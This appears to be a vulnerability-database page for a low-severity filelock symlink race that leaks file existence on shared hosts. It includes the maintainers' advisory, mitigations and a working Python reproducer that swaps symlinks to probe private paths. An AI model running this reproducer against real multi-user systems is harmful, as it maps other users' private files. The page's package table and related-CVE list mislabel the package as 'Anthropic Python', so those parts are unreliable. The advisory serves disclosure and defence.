filelock 3.32.6 through 4.2.0 has a symlink race in its soft-lock writability check. A local user who can write to the lock's directory can learn one bit per attempt: whether a chosen path exists and is writable by the account that takes the lock. This is low severity (CVSS 2.5). It needs a local account, a shared directory with no sticky bit, a second CPU, and a tight race. There is no content disclosure, no public exploit, no KEV listing, and EPSS is low in absolute terms (0.00213, though in the top 88th percentile). The reach is broad, with about 5,436 downstream dependents, and filelock is common in ML tooling such as Hugging Face and PyTorch caches and CI runners. Shared multi-tenant GPU or training hosts are the places to look. Upgrade to filelock 4.2.1, and until then keep soft-lock directories writable only by the lock owner. Do not take soft locks as root in directories that other users can write.
What is the risk?
Low overall. Exploitation needs a local account, write access to the lock directory, and a race between two system calls that wins in about 6-12% of attempts on multi-CPU hosts. The attacker also has to observe how the victim's acquire ended. Impact is limited to a one-bit existence/writability oracle with no content read, write or availability effect. The risk rises on shared hosts where root or a privileged service account takes soft locks in a 0777 non-sticky or group-writable sticky directory. Linux fs.protected_symlinks blocks the common sticky /tmp case. EPSS is 0.00213, with no known exploitation or public exploit.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Anthropic Python | pip | >= 3.32.6, <= 4.2.0 | 4.2.1 |
Do you use Anthropic Python? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step1) Upgrade filelock to 4.2.1 or later (fix in PR #835). 2) Until patched, keep soft-lock directories writable only by the lock's own account, or use a sticky world-writable directory on Linux with fs.protected_symlinks=1 (the default). 3) Do not take soft locks as root in directories other users can write. 4) Where a group-shared directory is unavoidable, avoid ACL-granted access, which narrows the window. 5) Detection: look for unexpected PermissionError raised from filelock acquire calls, lock-path files with unusual modes such as 0466, and lock paths that rapidly alternate between regular files and symlinks. Also run pip audit or an SBOM scan to find filelock versions 3.32.6 to 4.2.0 across images and environments.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-112912?
filelock 3.32.6 through 4.2.0 has a symlink race in its soft-lock writability check. A local user who can write to the lock's directory can learn one bit per attempt: whether a chosen path exists and is writable by the account that takes the lock. This is low severity (CVSS 2.5). It needs a local account, a shared directory with no sticky bit, a second CPU, and a tight race. There is no content disclosure, no public exploit, no KEV listing, and EPSS is low in absolute terms (0.00213, though in the top 88th percentile). The reach is broad, with about 5,436 downstream dependents, and filelock is common in ML tooling such as Hugging Face and PyTorch caches and CI runners. Shared multi-tenant GPU or training hosts are the places to look. Upgrade to filelock 4.2.1, and until then keep soft-lock directories writable only by the lock owner. Do not take soft locks as root in directories that other users can write.
Is CVE-2026-112912 actively exploited?
No confirmed active exploitation of CVE-2026-112912 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-112912?
1) Upgrade filelock to 4.2.1 or later (fix in PR #835). 2) Until patched, keep soft-lock directories writable only by the lock's own account, or use a sticky world-writable directory on Linux with fs.protected_symlinks=1 (the default). 3) Do not take soft locks as root in directories other users can write. 4) Where a group-shared directory is unavoidable, avoid ACL-granted access, which narrows the window. 5) Detection: look for unexpected PermissionError raised from filelock acquire calls, lock-path files with unusual modes such as 0466, and lock paths that rapidly alternate between regular files and symlinks. Also run pip audit or an SBOM scan to find filelock versions 3.32.6 to 4.2.0 across images and environments.
What systems are affected by CVE-2026-112912?
This vulnerability affects the following AI/ML architecture patterns: training pipelines, model caches and artifact stores, shared multi-tenant ML hosts, CI/CD build runners for ML, data loading pipelines.
What is the CVSS score for CVE-2026-112912?
CVE-2026-112912 has a CVSS v3.1 base score of 2.5 (LOW). The EPSS exploitation probability is 0.21%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0007Discover AI ArtifactsCompliance Controls Affected
What are the technical details?
Original Advisory
`raise_on_not_writable_file()` is the check that `SoftFileLock` and the locks sharing its acquire path run before every attempt. It looks at the lock path with `os.lstat`, so that it judges a planted symlink (a file that points at another path) by itself. When the node has no owner-write bit, it then calls `os.access(filename, os.W_OK)`, which follows symlinks. A local user who can create entries in the lock's directory can swap the path between a mode-`0466` file and a symlink to a path of their choosing. The second call then reports on the symlink's target with the permissions of the user running the lock (below: the lock user). The lock user's `acquire()` ends in `PermissionError` within a fraction of a second when the target is missing or not writable by the lock user, and in the ordinary `Timeout` otherwise. That yields one bit per watched acquire. The bit says whether a path exists and is writable by the lock taker. It covers paths under directories the other user cannot search, or any path when root takes the lock. The lock does not open, create or modify anything through the symlink. On Linux, `fs.protected_symlinks` (a kernel setting that refuses to follow another user's symlink in a sticky world-writable directory) blocks it in a directory such as `/tmp`. It does not block it in a `0777` directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it) or in a sticky group-writable one. This reopens the leak PR #567 closed. Affected versions are filelock 3.32.6 through 4.2.0. Anthropic's OSS Scanner reported this in private. Finding covered by this advisory: - `ANT-2026-RQ91AXTW` [medium, CWE-59]: Symlink TOCTOU in raise_on_not_writable_file leaks file existence. ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N` scores 2.5 (Low).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:H` (high attack complexity): the swap has to land between two system calls a few bytecodes apart (6 to 12 % of back-to-back acquires with the other user on a second CPU, 1 in 8 000 on one CPU), and the other user has to observe how the lock user's acquire ended. `C:L` (partial confidentiality impact): one bit per acquire (existence or writability of a chosen path), no content. `I:N` and `A:N` (no integrity or availability impact). `S:U` (scope unchanged). Classification from the review: **security, conditional**, "a one-bit probe of a victim-only path" that "Linux protected symlinks block in the common sticky `/tmp` case, but not every shared directory". The scanner rated this medium. The maintainers score it low for the complexity and the one-bit yield. ## Scope and preconditions - The affected classes are `SoftFileLock` and everything that reuses its `_acquire`: `MarkerSoftFileLock`, `SoftFileLease`, the async soft locks, and `FileLock` after an `ENOSYS` fallback to a soft lock. `UnixFileLock` itself does not call the helper. `WindowsFileLock._acquire()` does, but on Windows `os.access` reads the link's own read-only attribute and does not follow it; that branch did not run. - The other user must be able to create entries in the lock's directory. With Linux defaults (`fs.protected_symlinks=1`) the kernel refuses the lock user's attempt to follow another user's symlink in a directory that is both sticky and world-writable. `/tmp` therefore gives `PermissionError` for every target and leaks nothing. A `0777` directory without the sticky bit, or a sticky group-writable one (`1770` with a shared group), has no such cover and leaks as described. macOS and the BSDs have no `fs.protected_symlinks`, and a symlink there has mode bits of its own, so one without the owner-write bit would reach `os.access` with no swap at all (not executed). - The swap is practical only with a second CPU for the other user. - The other user needs to see how the lock user's acquire ended, for example the exception in a shared log, an exit status, or when the job stopped (`PermissionError` ends a blocking acquire within about a second; the other case runs to its timeout). The scanner also observed a variant that needs no output from the lock user. Hold the soft lock, set the marker (the lock file whose presence says a process holds the lock) to mode `0o066`, swap the symlink in and out for a few seconds, release, and see whether a marker owned by the other uid appears. A contender still waiting takes the lock; one that raised is gone. - The `O_NOFOLLOW` open that follows the check is not affected. The lock does not read, create or modify anything through the symlink. ## Affected code Scanned commit `b831496b0273`: in `raise_on_not_writable_file`, the [`os.lstat` that states the invariant](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L46-L50) and the [`os.access` call that follows symlinks](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L63-L71); the [call from `SoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L63) at the start of every poll. ## Introduced [f2f7b86](https://github.com/tox-dev/filelock/commit/f2f7b8696426) "fix: respect ACL write access when the owner write bit is absent" ([#728](https://github.com/tox-dev/filelock/pull/728), 2026-09-08), first tag 3.32.6 (verified), appended the `os.access` call to the `not S_IWUSR` test. [#567](https://github.com/tox-dev/filelock/pull/567) (022394c, first tag 3.29.5) had changed the helper from `os.stat` to `os.lstat` so that a symlink planted at the lock path could not probe its target. ## Mechanism `SoftFileLock._acquire` calls the helper first, once per `poll_interval` (0.05 s by default) for as long as the lock user waits. The helper runs `os.lstat(path)`. When the node has no `S_IWUSR` it runs `os.access(path, os.W_OK, effective_ids=...)` without `follow_symlinks=False`. On current Linux that is `faccessat2(AT_FDCWD, path, W_OK, AT_EACCESS)`, which resolves a symlink. If that returns false, a second `os.lstat` confirms a node is still there and the helper raises `PermissionError`. The other user's planted file has mode `0466`: no owner-write bit, which sends the helper on to `os.access`, and other-writable, so that `os.access` on the file itself says yes. The other user alternates the file and a symlink at the path (`os.replace` of a fresh symlink, then `os.replace` of a hard link to the marker; the lock would evict a symlink left for 2 s as a malformed marker). One call of the helper then goes one of three ways. First, `lstat` sees the symlink (mode `0777` on Linux, `S_IWUSR` set), `os.access` is not called, the helper returns. Second, `lstat` sees the file and `os.access` sees the file: true, returns. Third, `lstat` sees the file and `os.access` sees the symlink, resolved to its target with the lock user's permissions: returns if the lock user may write the target, otherwise raises `PermissionError`. After a return, the `O_CREAT | O_EXCL | O_NOFOLLOW` open fails with `EEXIST` and the poll ends as "lock is held". `PermissionError` therefore comes only from the third way and only for a target the lock user cannot write, and it leaves `acquire()` at once instead of after the timeout. The scanner measured what the outcome encodes with 4 000 non-blocking acquires per target as `victim` (uid 1000, `0700` private directory). An existing file or directory of `victim`: 0 `PermissionError`. A missing name there gives 311 to 339. A `0444` file of `victim`: 433 to 460. `/etc/passwd` or `/etc/shadow`: 237 to 422. With root taking the lock the answer is plain existence, 0 for `/etc/shadow` and `/root/.bashrc`, 366 for a missing name under `/root`. A symlink alone at the path, without the swap, tells nothing (2 000 `Timeout` of 2 000 for both targets, then evicted as malformed after 2 s). ## Reproduction The scanner's reproducer for `ANT-2026-RQ91AXTW`, quoted as received. It ran against commit `b831496b0273`. **`repro`** ```python #!/usr/bin/env python3 import os import shutil import subprocess import sys import time VICTIM_JOB = "/tmp/repro.d/victim_job.py" ATTACKER = "/tmp/repro.d/attacker_swaps_lock_path.py" private_dir = "/tmp/victim-private" shared_dir = "/tmp/team-locks" lock_path = shared_dir + "/app.lock" as_victim = dict(user="victim", group="victim", extra_groups=[]) as_attacker = dict(user="attacker", group="attacker", extra_groups=[]) assert len(os.sched_getaffinity(0)) >= 2, "the attacker's swap needs a CPU of its own" # set up: victim's 0700 directory holds "present" and no "absent" shutil.rmtree(private_dir, ignore_errors=True) os.mkdir(private_dir, 0o700) open(private_dir + "/present", "w").close() shutil.chown(private_dir + "/present", "victim", "victim") shutil.chown(private_dir, "victim", "victim") job_ended_with = {} for name in ("present", "absent"): probed_path = f"{private_dir}/{name}" attackers_stat = subprocess.run(["stat", probed_path], capture_output=True, text=True, **as_attacker) assert attackers_stat.returncode != 0, "attacker can stat the probed path directly" print(f"CONTROL attacker's own look: {attackers_stat.stderr.strip()}") # 0777 without the sticky bit: fs.protected_symlinks does not cover it shutil.rmtree(shared_dir, ignore_errors=True) os.mkdir(shared_dir) os.chmod(shared_dir, 0o777) # attack: the lock path keeps alternating between a held marker and a symlink to probed_path attacker = subprocess.Popen([sys.executable, ATTACKER, lock_path, probed_path], **as_attacker) deadline = time.monotonic() + 10 while not os.path.lexists(lock_path): assert time.monotonic() < deadline, "attacker did not plant the lock path" time.sleep(0.01) started = time.monotonic() job = subprocess.run([sys.executable, VICTIM_JOB, lock_path], capture_output=True, text=True, **as_victim) waited = time.monotonic() - started attacker.kill() attacker.wait() job_ended_with[name] = (job.stderr or job.stdout).strip().splitlines()[-1] # last line of the traceback print(f"OBSERVED {probed_path} exists={os.path.exists(probed_path)} (read as root); " f"victim's job ended after {waited:.1f} s with: {job_ended_with[name]}") # check: a lock that ignores the symlink's target ends both jobs in Timeout; here the ending tells the two apart timeout_where_present = job_ended_with["present"].startswith("filelock._error.Timeout:") permission_error_where_absent = job_ended_with["absent"].startswith("PermissionError:") print("BUG" if timeout_where_present and permission_error_where_absent else "OK") ``` **`repro.d/attacker_swaps_lock_path.py`** ```python #!/usr/bin/env python3 import os import sys import time lock_path, probed_path = sys.argv[1], sys.argv[2] held_marker = lock_path + ".held" staged = lock_path + ".staged" with open(held_marker, "w") as marker: marker.write("1\nanother-host\n") # pid 1 on another host: never judged stale, so the victim keeps polling # no u+w sends raise_on_not_writable_file() on to os.access(); o+w makes os.access() pass for this file itself os.chmod(held_marker, 0o466) give_up_at = time.monotonic() + 60 while time.monotonic() < give_up_at: # a fresh symlink each round: one left unchanged for 2 s is evicted as a malformed marker os.symlink(probed_path, staged) os.replace(staged, lock_path) os.link(held_marker, staged) os.replace(staged, lock_path) ``` **`repro.d/victim_job.py`** ```python #!/usr/bin/env python3 import sys from filelock import SoftFileLock with SoftFileLock(sys.argv[1], timeout=5): print("working under the lock") ``` ## Attack sequence ```mermaid sequenceDiagram participant A as other account (second CPU) participant L as app.lock in a 0777 non-sticky directory participant V as lock user: SoftFileLock(path, timeout=5) participant P as /home/victim/private (0700) A->>L: plant 0466 marker naming pid 1 on another host (not stale at any time) loop every few microseconds A->>L: os.replace(fresh symlink -> /home/victim/private/absent) A->>L: os.replace(hard link to the 0466 marker) end loop every poll_interval (0.05 s) V->>L: os.lstat -> regular file, no S_IWUSR rect rgb(255, 214, 214) V->>L: os.access(path, W_OK) lands on the symlink L->>P: resolved to /home/victim/private/absent with the lock user's permissions P-->>V: False (missing) V->>L: os.lstat -> a node is there V->>V: raise PermissionError after 0.4 s instead of Timeout after 5 s end end A->>A: the lock user's job ended early: the name does not exist (or is not writable by the lock user) ``` ## Evidence The scanner reproducer runs with `victim` uid 1000 owning `/tmp/victim-private` mode `0700` holding `present` and not `absent`; `attacker` uid 1001, no shared group; lock directory `/tmp/team-locks` root-owned `0777` without the sticky bit; `fs.protected_symlinks=1`; 2 CPUs; Linux 6.1, CPython 3.14.8. It printed `CONTROL attacker's own look: stat: cannot statx '/tmp/victim-private/present': Permission denied` and then `OBSERVED /tmp/victim-private/present exists=True (read as root); victim's job ended after 5.1 s with: filelock._error.Timeout ...`. For the other target it printed `CONTROL ... '/tmp/victim-private/absent': Permission denied` and `OBSERVED /tmp/victim-private/absent exists=False (read as root); victim's job ended after 0.4 s with: PermissionError: [Errno 13] Permission denied: '/tmp/team-locks/app.lock'`, then `BUG`. The verdict requires the job for `present` to end in `Timeout` and the job for `absent` in `PermissionError`. In 40 runs a blocking acquire met its first `PermissionError` after 0.1 to 0.7 s. In the maintainers' triage the reproducer prints `BUG` on the scanned commit `b831496` and on the 4.2.0 release image. The independent review (`soft-open`) confirmed the mechanism and checked on macOS that `os.access` there supports `follow_symlinks`, relevant to the platform note above. ## Impact A local user who can write the directory of a soft lock learns, for a path of its choosing, whether that path exists and is writable by the user taking the lock. That includes paths under directories the other user cannot search (a `0700` home or project tree; any path when root takes the lock), one bit per acquire it watches, repeatable with a different target each time. The reproducer shows the existence half; a read-only file of the lock user gives the same `PermissionError` as a missing name. The lock opens, creates and modifies nothing through the symlink, and the acquire itself is not redirected. The other user can already deny the lock by planting a marker, so the early `PermissionError` is not a new availability effect. This is the disclosure PR #567 closed, reachable again through the call PR #728 added. ## Workarounds - Keep soft-lock directories writable only by the lock's own account, or use a sticky world-writable directory on Linux with `fs.protected_symlinks=1` (the default), where the kernel refuses to follow another user's symlink and the check leaks nothing. - Do not take soft locks as root in directories other users can write. - Where a group-shared directory is unavoidable, give the marker an owner-write bit (the default mode does) and do not rely on ACL-granted access, so the `os.access` branch is not reached for the lock user's own marker. The other user's planted `0466` file still reaches it, so this only narrows the window. ## Patched version 4.2.1. Fix: https://github.com/tox-dev/filelock/pull/835 ## Credits Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers. - 2026-10-15 23:08 UTC: report received (36 findings; this one rated medium by the scanner) - 2026-10-16 05:38 UTC: draft advisory created (first as part of GHSA-69hj-f68j-2879, then split out) - 2026-10-16 01:16 UTC: fix PR #835 opened
Exploitation Scenario
On a shared multi-user GPU training host, a lock directory under a team share is mode 0777 without the sticky bit. A low-privileged user plants a 0466 marker file and alternates the lock path between that file and a symlink pointing at a target of their choosing, such as a path inside another user's private 0700 model-artifacts directory. When the victim's training job acquires a SoftFileLock, the race sometimes makes the writability check follow the symlink with the victim's permissions. The job then fails within a fraction of a second with PermissionError instead of waiting for the normal Timeout. By watching the job's exit status or shared logs, the attacker learns that the path is missing or not writable by the victim. Repeating this with different targets maps private directory and file names.
Weaknesses (CWE)
CWE-59 — Improper Link Resolution Before File Access ('Link Following'): The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
- [Architecture and Design] Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:NReferences
Timeline
Related Vulnerabilities
CVE-2026-9460310.0Podman: checkpoint images override sandbox on run
Same package: anthropicCVE-2026-544498.8LangBot: RCE via arbitrary STDIO MCP command
Same package: anthropicCVE-2026-277758.8Gitea: cached permission check allows repo takeover
Same package: anthropicCVE-2026-554298.7Coder: cross-workspace agent hijack via app ID reuse
Same package: anthropicCVE-2026-75748.7Claude Desktop: VM integrity bypass enables RCE
Same package: anthropic